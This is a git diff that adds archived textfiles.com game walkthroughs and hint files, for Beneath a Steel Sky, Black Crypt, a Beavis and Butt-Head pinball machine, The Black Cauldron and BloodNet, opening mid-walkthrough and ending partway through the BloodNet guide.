+Examine the DUMMIES. +Enter the MIDDLE DOOR (between the way you came in and the DOOR behind + the DUMMIES.) +Open the LOCKERS and examine what you find there. Yep, it's ANITA. +Go back to the top level, enter the FACTORY and go where you last saw ANITA + alive. Open the middle LOCKER and wear the OVERALLS (RADIATION SUIT). +Go EAST into the REACTOR LOBBY. +Use the CONSOLE. + Open the REACTOR DOOR. +Enter the REACTOR DOOR. +Get the LINC CARD. +Exit the REACTOR. +Use the CONSOLE. + Close the REACTOR DOOR. (I don't know if this is really necessary, but + it can't hurt.) +Exit the REACTOR LOBBY. +Wear your COAT again. +Enter the SECURITY SERVICES OFFICE. +Use REICH'S CARD on the ELEVATOR SLOT. +Use ANITA'S CARD on the INTERFACE SLOT. +Use the INTERFACE. + You're in LINC-SPACE again. + Do all the following as quickly as you can: + Use the BLIND program on the EYE. + Go EAST. + BLIND this EYE as well. + Go NORTH. + Ignore the CRUSADER for now and go NORTH again. + Leave the WELL alone for now and go EAST. + Get the TUNING FORK if the EYE is still blinded (white). + Okay, you don't have to hurry anymore. + Go WEST. + Use the PLAYBACK program (projector) on the WELL. + DISCONNECT. +Exit the SECURITY SERVICES building and return to GROUND LEVEL. +Talk to the "GARDENER" again. He is EDUARDO. He'll tell you about the + VIRUS that ANITA was supposed to retrieve. +Go into the COURTHOUSE next to ST. JAMES CLUB. + I don't know if all this is even necessary, but play along anyway. It's + mildly amusing. Defend HOBBINS; almost no matter what you do, he should + get two hours community service. +Go back to ST. JAMES CLUB. +The BAND should be gone now; if so, use the JUKEBOX. + Pick any song you want; I usually pick "You search, but find nothing." +Eventually, the JUKEBOX should start skipping; if not, keep picking songs. + COLSTON will get up to fix it; when he does, grab his GLASS. +Go back up a level to DR. BURKE'S OFFICE. +Give the GLASS to BURKE. + You should now have COLSTON'S fingerprints on your hands. +Return to the CLUB. +Use the PANEL just to the right of the STAGE. +Use the CROWBAR on the PACKING CASE. +Get the LID and use it on the smaller BOX. +Stand on the BOX and use the CROWBAR on the GRILL. +Use the SECATEURS to remove the GRILL completely. +(At this point, you may want to save your game just in case. Once you + enter the NARROW PASSAGE, there's no going back.) +Enter the NARROW PASSAGE. +Go EAST, then NORTHEAST, then EAST. + There should be a large HOLE near the EAST side of the screen here. +Use the LIGHT BULB in the SOCKET to the left of the HOLE. +Go EAST. +Save your game. +Go EAST. + The tunnel should begin to collapse. Quickly, run through the door in + the SOUTHEAST corner. If you die, restore. (See why you saved?) +Use the CROWBAR on the PLASTER behind the VEIN. +Use the CROWBAR on the BRICKWORK exposed. +Get the BRICK. +Drive the CROWBAR into the SWELLING of the VEIN. +Use the BRICK on the CROWBAR. +Get the CROWBAR again if you want. +When the MEDICAL ROBOT enters, go EAST. +Go NORTH. +Use the CONTROL UNIT on the EAST side of the room. + Reduce the temperature. +Stand on the APERATURE (which should be nearly closed) and pull the METAL + BAR. This should loosen the grate. +Go WEST. +Look through the GRILL on the wall to see the TANK ROOM. +Go EAST twice. +Use the CIRCUIT BOARD in the MEDICAL ROBOT. +Tell JOEY to check out the TANK ROOM. +When he returns, ask him to report. Ask him about everything you can, but + especially the NUTRIENT TANK. +Tell JOEY to open the TAP on the NUTRIENT TANK. +When you hear dripping, enter the TANK ROOM. The ANDROID should go to shut + off the tap and fall through the GRATE. +Go NORTHEAST twice. You should end up in a MONITORING ROOM where there is + another LINC INTERFACE. +Use REICH'S CARD on the TERMINAL near the entrance DOOR. + Choose ACCESS TO RESTRICTED AREA: OPEN DOOR. +Go WEST. + Gallagher should confront you and beat up JOEY, who will kill him. +Search the CORPSE for a CARD and search JOEY for the CIRCUIT BOARD. +Go NORTHEAST. +Use the RED CARD in the INTERFACE SLOT. +Use the INTERFACE. + LINC-SPACE once more. + Go EAST. + BLIND the EYE and go NORTH quickly. + Use the DIVINE WRATH program on the CRUSADER. + DISCONNECT. +Use ANITA'S CARD on the SLOT and use the INTERFACE again. + Go back via the usual route to where the CRUSADER was. + Go EAST through the door the CRUSADER was guarding. + Use the OSCILLATOR program (TUNING FORK) on the CRYSTAL. + Get the HELIX (VIRUS). The VIRUS is now on ANITA'S CARD. + DISCONNECT. +Go WEST then SOUTHEAST. +Use ANITA'S CARD on the CONSOLE in the middle of the NORTH wall. + The MONITOR should display static afterwards. +Get the TONGS hanging next to the EAST DOOR. +Use the TONGS on the TANK full of FLESH BITS. +Use the TONGS AND FLESH on the FROZEN TANK. +Go EAST. +Open the CABINET next to the MIDDLE ANDROID. +Put the CIRCUIT BOARD in the CABINET. +Use the CONSOLE above the CABINET. + Choose DOWNLOAD CHARACTER DATA and then RUN STARTUP PROGRAM. +Talk to JOEY/KEN. +Go EAST. +Tell KEN to put his HAND on the PANEL. +Put your HAND on the other PANEL. + The DOOR will open, but KEN'S HAND will be stuck. Leave him there. +Go EAST twice. +Tie the CABLE to the PIPE SUPPORT. +Climb down the RUNGS. +Use the FROZEN FLESH with the ORIFICE. +Swing over to the newly-visible DOOR using the CABLE. + Now you're in the heart of LINC itself. There's an automated section + here where you talk to your FATHER, until KEN walks in. +As soon as you have control again, tell KEN to sit in the CHAIR. +Enjoy the sense of accomplishment. + +mshaw@castaway.cc.uwf.edu diff --git a/textfiles.com/games/bc_hints b/textfiles.com/games/bc_hints new file mode 100644 index 00000000..714af0ec --- /dev/null +++ b/textfiles.com/games/bc_hints @@ -0,0 +1,104 @@ +***************************************************************************** +*** BLACK CRYPT HINTBOOK LEVELS 7-8 *** +*** COMPILED BY *** +*** DEATHWISH/AFL *** +***************************************************************************** +AFTER MANY PEOPLE CRYING OUT FOR HELP FOR THIS WONDERFUL GAME I HAVE DECIDE +TO TYPE OUT THE HINTS FOR THIS AWESOME ADVENTURE...I WILL BE DOING A LEVEL +A DAY, INCLUDING A 'PRINTABLE' MAP OF EACH LEVEL THAT HAS EACH OF THE NUMBERS +ON IT! + +USAGE: THE FIRST NUMBER IS THE NUMBER OF THE HINT OF THAT LEVEL. + THEN COMES THE COORDINATES OF THE LOCATION OF WHAT TO DO. + THEN COMES THE HINT AND WHAT THE RESULTS ARE. + THEN I HAVE THE COORDINATES OF WHERE THE RESULTS HAPPENED. + +NOTE: MAP COORDINATES ARE(X POSITION, Y POSITION, LEVEL#) + MU = MAGIC USER + CLERIC = CLERIC CHARACTER + DRUID = DRUID CHARACTER + FIGHTER = FIGHTER CHARACTER + + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + LEVEL 7 +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +1. BUTTON: TOGGLES PILLAR AT(9,4,7) +2. BUTTON: REMOVES WALL AT (21,10,7) +3. BUTTON: REMOVES PILLAR AT (10,13,7), SCROLL OF CURE POISON +4. BUTTON: REMOVES PILLAR AT (16,13,7) +5. BUTTON: REMOVES PILLAR AT (13,16,7), GLYPH SCROLL +6. BUTTON: REMOVES DOOR AT (22,19,7) +7. INVISO PRESS. PLATE: ENABLES INVISO PRESS. PLATE AT (6,3,7) +8. INVISO PRESS. PLATE: CREATES TELEPORT AT (5,7,7) +9. INVISO PRESS. PLATE: ENABLES INVISO PRESS. PLATE AT (3,7,7) +10. INVISO PRESS. PLATE: CREATES TELEPORT AT (2,12,7) +11. INVISO PRESS. PLATE: REMOVES WALL AT (13,15,7) +12. PRESSURE PLATE: TELEPOTS PARTY'S BELONGINGS TO(20,16,7),SUMMONS MONSTER + TO (19,16,7), REMOVES PIT AT (18,17,7) +13. INVISO PRESS. PLATE: REMOVES WALL AT (14,11,7) AND (15,12,7) +14. INVISO PRESS. PLATE: REMOVES WALL AT (11,12,7) AND (12,11,7) +15. PRESSURE PLATE: REMOVES WALL AT (21,21,7) AND (19,21,7), CREATES + COLD TRAP (15,22,7) +16. INVISO PRESS. PLATE: ENABLES INVISO PRESS. PLATE AT (21,16,7); + SUMMONS MONSTER +17. TELEPORT GOES TO (21,13,7) +18. TELEPORT GOES TO (1,13,7) +19. TELEPORT GOES TO (8,20,6) +20. TELEPORT GOES TO (5,9,7) +21. TELEPORT GOES TO (5,6,7) +22. FIRE TRAP +23. GLYPHS +24. MAGIC FIELD +25. ALCOVE: DRUID BOOK "FORCE OF THE ELEMENTS",KEY TO DOOR (16,2,7) + FIRE WAND +26. ALCOVE: PLATE ARMOUR, PLATE LEGGINGS, MOON KEY TO (5,18,6) +27. ALCOVE: GOLD KEY TO (19,8,7), RAVEN SHIELD, TABLET OF OAKHAVEN +28. ALCOVE: GOLD KEY TO (18,11,7), QUIVER, POTION EXTRA HEALING, DRUID SPELLBOOK + "MANUAL OF PLANES" +29. ALCOVE: COFFER +30. ALCOVE: BOW +31. PLAQUES +32. PLAQUE: ANSWER IS 40 +33. CHEST: GOLK KEY TO (16,11,7), FOOD RING OR AIR ELEMENTAL AND AN + AMULET OF PROTECTION(+2) +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + END OF LEVEL 7 +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + LEVEL 8 +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +1. SWITCH: SUMMONS MONSTER +2. SWITCH: REMOVES PILLAR (7,17,7) +3. SWITCH: TELEPORTS PARTY TO (7,1,8) +4. SWITCH: CREATES TRAP AT (7,1,8) +5. ROBES OF SUDDAH +6. ALCOVE: HAMMER IS PLACED HERE, ACTIVATES PRESS. PLATE AT (2,3,8) + WHICH REMOVES WALLS AT (3,18,7) (2,19,7)(3,20,7) +7. ALCOVE: PLACE MACE INSIDE, ACTIVATES PRESS. PLATE AT (2,12,8) + WHICH REMOVES WALLS AT (3,19,7) +8. PLAQUES +9. FOOD AND A SCROLL OF DETECTION +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + END OF LEVEL 8 + + + + + This File Was Downloaded From... + + + ALPHA FLIGHT UNITED STATES HEADQUARTERS + _______ _________ ______ ________________________ _____ ______ + / / \/ / __ \/ / / /\ / / / / / | | + / __/\ \ / / / ___/ / _/ __/ \/ |__/ ___/ / __/_/ __ | + / \__ \ / / _ / _/____/ \ \ / | / _/___/ \__/ | | + \ \/ / \ \ / |\ \ / | \ \ \ | | + \______\ /\_______/\______\____| \___\\____| \_______\______\___| | + /___/ [FL]|___| + THE HOTTEST BBS FOR AMIGA AND CONSOLE + + SYSOPS ^o^ FLASHBACK/AFL - DEATHWISH/AFL ^o^ + + COSYSOPS ^o^ SNIFFY/AFL - SABINE/AFL ^o^ + + +1-414-342-9320 diff --git a/textfiles.com/games/beavis.fan b/textfiles.com/games/beavis.fan new file mode 100644 index 00000000..4daa1e62 --- /dev/null +++ b/textfiles.com/games/beavis.fan @@ -0,0 +1,117 @@ +Bowen's Guide to Beavis and Butt-Head +------------------------------------- + + In case anyone hasn't heard, there's a new Williams game +currently in beta. It's based on the Beavis and Butt-Head show. + The game was designed by Mark Ritchie, so it has those +distinct characteristics: two ramps, one on each side; one big +orbit around the back. In fact, the entire game is split in two, +basically representing B&B's couch. All the general targets on +the left side have something to do with Beavis, and all the +targets on the right have to do with Butt-Head. + Some unusual things about the playfield: this game has the +most sinkholes in any game I've seen in a long time, five. There +are two on either side of the game, coordinated with pictures of +the two lovable characters; the upper holes correspond to the +two's mouths, while the lower holes...well, you figure it out. +The upper holes also serve as mode starts, which are in the form +of TV dinner courses sitting in the middle of the playfield. +Beavis & Butt-Head have two different meals in front of them. +Complete both meals and you get--well maybe I'll tell you later. +A fifth sinkhole is located in the back middle of the game, +serving as the Lock and Jackpot shot. + Among the modes are "Let's Burn Something", "Beavis & Butt- +Head's Sing Along", "At the Drive-In", "Burger World", and +"Washin' the Dog". They're hilarious. Note that a lot of the +modes are based on episodes of the show. There are a total of 13 +modes, but the only other one I can remember is a lame-o points +award. + "Let's Burn Something" starts with the two on the couch, +where most of the action actually begins. Beavis: "Hey Butt- +Head... let's burn something." "Uh, okay." Shoot the flashing +shot, chosen at random, and Beavis lights (for each successful +shot in 2O seconds) a piece of paper, a book, a dog's tail, some +guy's house, and if you manage to complete the round, he burns +down the local mall! "Fire, fire fire fire!!" + Lighting "Beavis & Butt-Head's Sing Along" starts a heavy +metal (prob. Mettalica) song. Butt-Head: "This rocks!" and they +start grunting out the guitar chords. The video's reception goes +bad, and your job (as Butt-Head) is to keep the reception good +enough to hear the video. You need to shoot the TV targets in the +left-center area as many times as possible, and before things get +too bad on the TV (which you see). Beavis yells "Fix it, +Buttwipe!" during the round, and something worse if you +fail...hope there's a family setting. + "At The Drive-In" has you trying to sneak candy at the movie +theater's snack bar. It's a hit-the-bumpers round; the display +shows Butt-Head distracting the snackbar guy while each bumper hit +shows Beavis stealing a bar; it's really funny when you hit 5 or +1O bumpers in a row, because, obviously, he moves pretty fast. If +you don't hit any bumpers, you get caught stealing, beaten up, and +thrown out of the theater (losing 5M points). "That was not +cool." + "Burger World" has a customer walking in to request "large +coffee, pie, large fries. Now!" Beavis, in the back, has to work +frantically to prepare rotten food for the guy, while Butt-Head +tries to delay the guy from getting what he wants. So to win the +round, you must hit as many targets as you can, but only on the +left side of the playfield (remember it's divided almost in half); +hitting enough targets on the right side causes the customer to +walk behind the counter and get the stuff himself. + In "Washin' the Dog," B&B take the same guy's dog for a walk +to the laundromat, where they try to clean the dog by putting it +in the washing machine. Shooting either orbit shot runs a cycle +of the washer (wash, spin, rinse, dry--it's a dual washer-dryer) +and shows great animation of a not-too-happy dog. + -Gross animations are everywhere in "Butt-Head's BB Mania", a +video mode. It depicts him discovering a loaded BB gun on the +ground, after which your job is to guide him to anything that +moves. Anything, including birds, cars, dogs, old ladies, +airplanes, and even Beavis. (Ow! Hey, buttwipe, cut it out!) + For fun, try "The Comedian," another mode, in which Beavis +gets up on open mike night. Shoot his (left) ramp and he tells a +joke (there are a good stash of these) -- "Ya know what about +bunnies? They suck!" "Ever watch the news on TV? It sucks!" "One +time I ate a lemon. It sucked!" You get the idea... the crowd +can't stand him, but Butt-Head laughs like hell... + Any time five consecutive ramps are shot, the game lights a +Hurry Up mode, almost exactly like FT or IJ. In this mode, B&B +are running away from that really fat guy from the hospital (can't +recall his name), who seems in the mood for cannibalism. To +escape, you must shoot one of two flashing sinkholes, which drop +B&B through a manhole, awarding the points. "Sewage is cool." + The multiball in B&B isn't too difficult to get; the concept +is that the balls got lost in the seat cushions of their couch. +Getting locks is similar to IJ in that the lock shot is hidden +behind drop targets. Shoot down the couch drop targets (located +straight up the middle of the playfield) to reveal the hole ("huh +huh...you said hole..."); when a ball is locked, we see Beavis +drop something in the couch. After two balls are locked, the hole +closes. To start multiball, you must drop all three targets +(display: B&B throwing pillows to look for the lost balls), then +shoot the left (Beavis') ramp to start the multiball. Beavis: "I +found my balls..." "Huh huh..." They both +start laughing outrageously. + Laughter continues as a ball is shot out of each of B&B's +mouths (the two upper sinkholes), and the laughing just keeps +going through the whole multiball (a concentration nightmare). +Jackpot is lit by shooting the right ramp ("Hey Beavis, check it +out..." as lots of lights flash) and scored by the left ramp ("Huh +huh... jackpot." Not an exciting quote, but the display and +lights are great. "That was cool.") + I didn't get very far with the jackpots; there's probably a +Super Jackpot somewhere. A few more random things: consecutive +ramps get the two to laugh faster and faster, so this probably +works up to a quick multiball of some kind. Also, an unlit shot +to one of the two "head" sinkholes sometimes awards a great +display of Beavis saying "I think I'm gonna hurl," and then he +does. Dunno what I did to get that to happen. + Everything in B&B is pretty true to the show. It's not +really all that detailed of a game, but I s'pose there must have +been a quick release time on it. Displays an the playfield are +especially cool, and Mike Judge is given credit for some of the +artwork. Nice job, Williams...it's, uh...huh huh...cool. + +Bowen Kerins (bowen@cardinal.stanford.edu) +(PLEASE read the first letter of each paragraph.) + diff --git a/textfiles.com/games/beneth.txt b/textfiles.com/games/beneth.txt new file mode 100644 index 00000000..13120b19 --- /dev/null +++ b/textfiles.com/games/beneth.txt @@ -0,0 +1,147 @@ +The Complete Beneath A Steel Sky Walkthrough +In the beginning .... +Get metal rod on left of screen. Use rod (crow bar) to open the door on +right. Go through door. After ditching the cop go back downstairs and +exit to the right. Put the circuit board in the robot shell (the middle +piece of junk at the bottom of the screen). Look at the transporter robot. +Step on lift and quickly go to the room on the right. Open the cabinet and +get the spanner before the man comes back. Talk to the man and talk to +Joey. Go back to left. Talk to Joey and have him give the transporter +robot a jump start. When the transport robot brings a barrel and activates +the lift go down the hole. Look at the lock next to the door. Talk to +Joey and have him open the door. That camera sure was helpful. Search the +body and get his ID. +Go through the door. Go down the walkway to the right. Go in the door on +the right. Talk to the girl (Anita). If Lamb kicks you out, just go back +in. Go to the right. Put the spanner in the cogs. Take the spanner back. +Go back to the left. Use the spanner to loosen the welder shell. Talk to +Joey to give him a new shell. Go right again. Try to go in the room on +the upper left. Talk to Joey and send him in the store room. You can +watch him through the window if you want to. Talk to Joey and have him +weld the fuse box. When Joey comes back, go into the storeroom and open the +gangway. The WD-40 and key are not needed. Get the putty from the floor +where the gangway was. Leave the storeroom. Go to the electric plant +(left, left, left, left, left door) Use the spanner to loosen both buttons +on the right control panel. Have Joey help you push both buttons at once. +Shut the switch off on the left section of control panel. Take the light +bulb and put the putty (plastic explosive) in the socket and turn power +back on. Make sure both switches are down! +Go back to the lift (right, right, right) Look at the red cable and have +Joey weld it. Use the id in the slot on the lift to go down a level. +Congrats. You're now getting somewhere. First thing to do is pick up that +cable you just cut. Then go to Reich's room (left, green door, id in left +slot) and get the magazine under his pillow. Go to the travel agency +(down, right, right, up) and talk to the man. Give him the magazine and he +will trade it for a ticket. Go find Lamb. Outside the apartments is a +good place. (exit left, bottom left, left, green door) Talk to Lamb. Give +him the ticket. He will give you a tour of the factory as a reward. Go to +the factory (down, right, lift, upper right door). Wait for Lamb, talk to +him and get your tour from him. Go to the reactor area (right) and talk to +Anita. Give her your id card and she will give you the jammer. You can +now get more information from the terminals. You must also get Anita to +tell you about the Schriebmann port. +The next stop is the implant office. (left, left, left, lift (make sure +Joey comes along), left, left, left) Talk to the projector. Have Joey talk +to the hologram so you can get in. Go left and see the doctor and barter +for your port implant. Talk to the doc again until he tells you to go see +his friend and this time go see Anchor (right, right, right, right, right, +right). When you ask for the special insurance tell him the doctor sent +you. When anchor goes out back to make a phone call have Joey weld off the +anchor. Combine the anchor and the cable and you have a grappling hook. Go +back up to the fire escape (left, left, lift, left, left, upper right, +stairs, right) and attach the grappling hook onto the Security sign. Forget +the lockers and go right to the interface in the next room. Put your id +through the slot and use the interface. +Welcome to VR. Pick up the ball. Exit right. Open the carpet bag (use +the doorknob in your inventory). Pick up the magnifying glass and the +birthday surprise. Use the decompress program on the compressed data. (in +your inventory) Exit right. Use the passwords you obtained on the floor +spots. It shouldn't be much trouble. Just basically put one in the closest +hole and then pick up the other. Eventually exit up. Get the bust and the +book. Use the magnifying glass on the three documents. +Now disconnect and use the terminal (with your id card). Activate phoenix +so you have unlimited access and screw over Lamb by taking his credit and +access. Also, be sure to read the first two documents in the security +services. Go talk to Lamb again (he should be next to the elevator going +down) (lift, left, right) (if he isn't there wander around and come back, +he will show up). Talk to him and get access to his apartment. Go down to +the next level and go to Lamb's apartment. (lift, left, green door, id in +right slot, right door) Feed his cat if you feel like it and get the video +tape off the bookshelf. Now you can go down to the next level. (exit left, +down, lift) First thing you should do is go talk to the doorman. (left) +You are then going to need a sponsor so go find Mrs Pierdman and talk to +her. When she goes back to her apartment buzz her so you can get in. +(private lift on rightmost screen) Ask her about sponsorship again and she +will go use the phone. +Go play the video tape you got from Lamb's apartment to distract the dog. +Take the dog biscuits and leave. Go back the the elevator and the bricks. +(exit lift, left) When Miss P and her mutt come around again put the dog +biscuits on the plank and pull the rope. Time for the mutt to take a bath. +You can now get into the cathedral. There isn't much to do in there but +you will find that Anita is dead. (exit upper right(where the guard was +standing), up through middle door, open middle locker) Time to go back to +the reactor and investigate. (left, left, lift, right, lift, upper right, +right) Open the middle locker and put on the radiation suit. Go right. +Use the control panel to open the reactor and go get Anita's card from the +reactor. Leave the reactor. Exit left. Put your clothes back on. +Go back to the Security building. (left, left, left, left, upper right, +lift) Use the interface with Anita's card. This part is time dependant, +you may want to slow down the speed. Use blind on the first eye, go right, +use blind on the second eye and go up immediately. Go up, right, and pick +up the tuning fork. Did you make it in time? Go left again. Use the +playback on the well. Disconnect. Go down to the park. (lift, left, right, +lift, left, lift, right) Talk to the gardener/Eduardo. Talk to the boy. +Talk to Eduardo again. Head to the courthouse next to the club. (left, +left) Defend Hobbins. +After you help him out, go to the club (exit right by the doorman) and play +the first song on the jukebox. When the owner gets up take his glass from +the table and head to the implant doctor. (exit left, upper right, lift, +left, left, left) Give the glass to him and he will copy the fingerprints +onto you. Time to pick up something before you go to the wine cellar. Go +to the shed. (exit right, right, lower right, lift, right, lower left) Look +at the door. Use an id card on the lock. Go in and get the clippers +(secateurs). Head back to the club (exit left, left, club door) Put your +thumb on the metal plate next to the door in the upper right corner. Use +the crow bar to pry open the lid of the packing case and place it on the +smaller box. Climb up on the box and use your crow bar on the grill. After +you make the hole use the clippers to gain entrance. +Go through the narrow passage. Go right. Follow the diagonal track. Right +again. Now put the light bulb in the socket on the left side of the hole. +Make sure you don't get in front of the hole or a monster will get you. Go +right. Right again. You might want to slow the game down again. Run down +the tunnel or the ceiling will fall on you. Use the metal bar on the +plaster above the swelling in the vein. Use the bar on the bricks you just +exposed. Pick up the brick. Use the metal bar on the swelling, then hit +the bar with the brick. Pull the bar out again. +Go through the door when the repair robot comes. Go through the door in +the center of the screen. Use the control unit to decrease the +temperature. Pull the metal bar in the ceiling before the cover opens +again. Go back upstairs. Go to the right. Go through the door. Put +Joey's circuit board in the slot in the back of the medical robot. Have a +complete conversation. Exit through the lower left door. Go to the left. +Look through the grill on the wall. Tell Joey to check out the tank room. +You can watch him through the grill. Wait for Joey to come back. Talk to +Joey until you can tell him to open the tap on the nutrient tank. You can +watch him through the grill again. Once he opens the tap, go to the right, +through the door, and through the upper left door. The android will fall +through the grate. +Exit to the upper right. Go through the door to the upper right. Use your +id card in the terminal to open the access door. Leave the room. Search the +corpse and take Joey's board. Go back through the upper right door. Use +the red link card to access the interface. Go right, blind the eye and go +up. Use the devine wrath to knock out the crusader. Disconnect. Use +Anita's card to access the interface. Go back to where the crusader was +and go right. Use the oscillator to break the crystal. Pick up the helix +and disconnect. Exit the room. Go through the lower right door. Use +Anita's card on the console. +Use the tongs (next to the right door) to get a piece of tissue out of the +rectangular huge tank. Quickly, use the tongs on the frozen huge tank. You +should end up with a piece of frozen tissue. Exit to the right. Open the +cabinet under the console for the middle android. Put Joey's board in the +cabinet. Use the console to download the character data. Run the startup +program. Have a complete conversation. Go to the right. Tell Ken to put +his hand on the sensor. Put your hand on the other sensor at the same time. +Joey will get stuck. Go through the door. Go to the right. Tie the cable to +the pipe support. Go down the rungs. Use the tongs on the orifice. Grab +the cable. When your father falls out of the chair you will regain control +for a short time. Tell Ken to sit in the chair. diff --git a/textfiles.com/games/blackc.txt b/textfiles.com/games/blackc.txt new file mode 100644 index 00000000..3466a226 --- /dev/null +++ b/textfiles.com/games/blackc.txt @@ -0,0 +1,93 @@ + + + THE BLACK CAULDRON + + SOLUTION + + By P. J. Gagnon + Garrettsville, OH + + Begin the game by going into Dallben's cottage. Get the +gruel to feed HenWen. The cupboard has supplies you will need +for your adventure, which can be obtained either now or after you +feed the pig. Go to the barnyard and feed the pig. There is +dried corn in the shed which the pig will eat, as well, and also +earns points -- your choice. I could find no other use for the +corn or the gruel. Then follow the pig back to the cottage where +you will witness her vision. Dallben will give you rope, and the +adventure begins. Be sure to fill your flask with water. + + Go north for 3 screens, avoiding water. (If you go into the +water, the pig gets scared, won't follow you, and you lose her.) +Go left when you see the edge of the bramble patch. When you +wiggle through the brambles correctly, you find the hidden +cottage of the Fair Folk and HenWen is safe. There's some +cookies in the cupboard. + + Somewhere along here you'll meet Gurgi. When he asks for +something to eat, offer him either the cookies or the apple. + + Go south upon leaving the cottage for 2 screens. There is a +lute in the tree with a hole in it. Take it. Go east for 2 +screens, then north, which brings you to the waterfall. The +magic word will cause a rock to lower in the water so you can +walk on it. Be careful -- if you fall in the water, you drown. +You'll fall in a hole after entering the cave. Offer King +Eidelleg the lute and he'll give you a magic mirror and flying +dust. After leaving the cave, go west for 3 screens til you +reach the swamp to the west, then north for 2 screens where +you'll see a dagger. I've not found a use for the dagger that +earns points, but I take it anyway. Go west to the scarey trees, +then north to the rocks. I wouldn't tell you how to maneuver +through the rocks, even if I could explain it -- that would ruin +some of your fun. But I will tell you that my 6-year old +daughter figured it out when I couldn't. You must go through the +rocks to get to the castle. + + Upon reaching the point of the highest rock, throw your +rope. It will go either east or west; it makes no matter which. +Climb the ledge and you will be facing the castle. Welcome to +disk 2. + + Walk the maze, then go west when you're facing the +alligators. There will be a henchman pulling a cart at the +drawbrdige. If he's not there the first time, leave the screen +and return -- as many times as it takes. Jump on the cart and +you're in the castle. Wait til the henchman leaves before you +get off the cart. Go through the northern doorway into the wine +cellar. Go between the last 2 barrels on the right, and you'll +fall into a sub-dungeon and find the princess. Go east for 2 +screens. Look at the north wall. There's a crack between some +of the stones which are moveable and reveal a King's burial tomb. +There is the magic sword. The princess makes her escape. You +leave the chamber and go south, then east til you see a gargoyle. +Turn his head and a door above you opens. Have the sword ready +so you can bonk the henchman. He's quite a pest. After +emerging, go north again and get the keys on the wall to your +right. Open the door straight ahead of you and free Fleuder +Flam. You can either use the recently acquired keys or simply +untie his ropes. + + Have your sword ready to bonk the henchman as you leave that +room. Go west through the first door immediately after leaving +the room, then up the stairs. Then go east to the main hallway +and south back through the wine cellar. Go south to the +drawbridge door and break the chain with the sword. You'll be +bonking the henchman all along the way. + + Return to disk 1 the same way you came. After getting +through the rocks, go south for 2 screens where you'll reach the +southwest portion of the swamp. Use your flying dust to get to +the witch's house. Go inside and open the chest. When the +witches appear, offer them the sword and you'll go outside and +receive the cauldron. The gwythaint will take the cauldron while +the witches are talking to you. + + Go back to the castle. Take the same route as before, when +you found the princess. Go south for one screen, then through +the east doorway (where the skeletons are). Use the magic mirror +at the proper time and the King jumps in the cauldron. You float +on a log down the river to the cauldron and the witches appear. +They will offer you 3 things in exchange for the cauldron. Do +nothing til they offer you the third item -- the sword. This +wins the game with 230 out of 230 points. \ No newline at end of file diff --git a/textfiles.com/games/bloodnet.txt b/textfiles.com/games/bloodnet.txt new file mode 100644 index 00000000..1f8b49ae --- /dev/null +++ b/textfiles.com/games/bloodnet.txt @@ -0,0 +1,184 @@ + + BLOODNET + Quickest Route to Success + Matt Showalter + +I. Tackett's lab + A. Get Implant Plans. + B. Get 4 MB chip and place it into your docking unit. + +II. Huston Matrix Rovers + A. Get Patch Cords. + B. Talk to Larry Owen. + +III. Abyss + A. Talk to Rymma Fizz + B. Choose 4 characters to join you + +IV. Metro Museum of Art + A. Talk to Montgomery Taylor (He will give you an invitataion + to the Hellfire club if you anser NO to his first question). + +V. Central Park + A. Talk to Kimba West. + B. Talk to Sander Tomalin (You have to talk to him twice in order + to give him the implant plans. He will give you a Lockpick + Database, a 4 MB Chip, and Samurai Soul Box. Put the Soul Box + into you decking unit). + C. Talk to Mother Mary on the second Central Park screen. + +VI. Cafe Voltaire + A. Talk to Oscar Nandez (second screen). + B. Talk to Lenora Major. + +VII. C-Space + A. Go to "Major" well + +VIII. Kafka Consipiracy + A. Talk to Coover Tristan. + +IX. Electric Anarchy + A. Talk to Phree Thought + B. Talk to Nai Hilistick + C. Talk to Chuck + D. Talk to Phracktle K. Oss + E. Talk to Auntie Matter + F. Talk to Garrick Fizz (have him join) + +X. Autonomy Dogs + A. Talk to Wild Child. + B. Talk to Sabaccatus St. Aubens. + +XI. Hard Metals + A. Talk to Tempered SteelE. + +XII. St. Patrick's + A. Talk to Mother Mary + B. Talk to Brother Complicitus (you will need to speak to + them both to complete the conversation). + +XIII. Hellfire Club + A. Talk to George Yachisin + B. Talk to Renfield. + +XIV. Hardarm Tacktick + A. Buy Lockpick Casing and Diagnostic Unit. + B. Assemble the Electronic Lockpicks + +XV. TransTechnicals + A. Security + 1. Kill Cheif Daryl Paine. + 2. Get TTCloak Chip from Paine. + 3. Search Area (pick up all items). + + B. Emily Esaki + 1. Search Area. + 2. Get Pin. + + C. Bill Dougan. + 1. Talk to Bill Dougan + + D. Nanotach + 1. Search Area (pick up all items). + 2. Use Electronic Lockpicks on Locked Storeroom door. + 3. Search Storeroom (pick up all items). + +XVI. Lazlo Green (examine crackdown list to open) + A. Search Area. + B. Pick up Gas Mask. + +XVII. Electric Anarchy + A. Talk to Phree Thought. + B. Give her a Dragon Soul Box (Say YES when she asks). + C. She will give you a SonomaVapor. + +XVIII. Icon Pirates + A. Put the Gas Mask on a character. + B. Use SonomaVapor with that character. + C. Search area. + D. Get HoloCam and both cans of Holofilm. + +XIX. Doom Pilots. + A. Talk to Ghost Walker. + +XX. Madam Mescal + A. Buy Instapigment. + B. Use the Instapigment. + +XXI. Cloisters + A. Sabastan's Room + 1. Get Beads. + + B. Weapons Room + 1. Solve Mirror Puzzle (film yourself with the Holocam + and then play the recording near the mirror). + 2. Search Area (Get all Soul Blades and Stakes). + +XXII. Cafe Voltaire + A. Place Beads next to Cyril Thorpe. + +XXIII. C-Space + A. Go to "Medium" well. + B. Talk to Cyril Thorpe. + +XXIV. Cloisters + A. Sabastan's Room. + 1. Talk to Sabastan (He will Bless the Blades). + 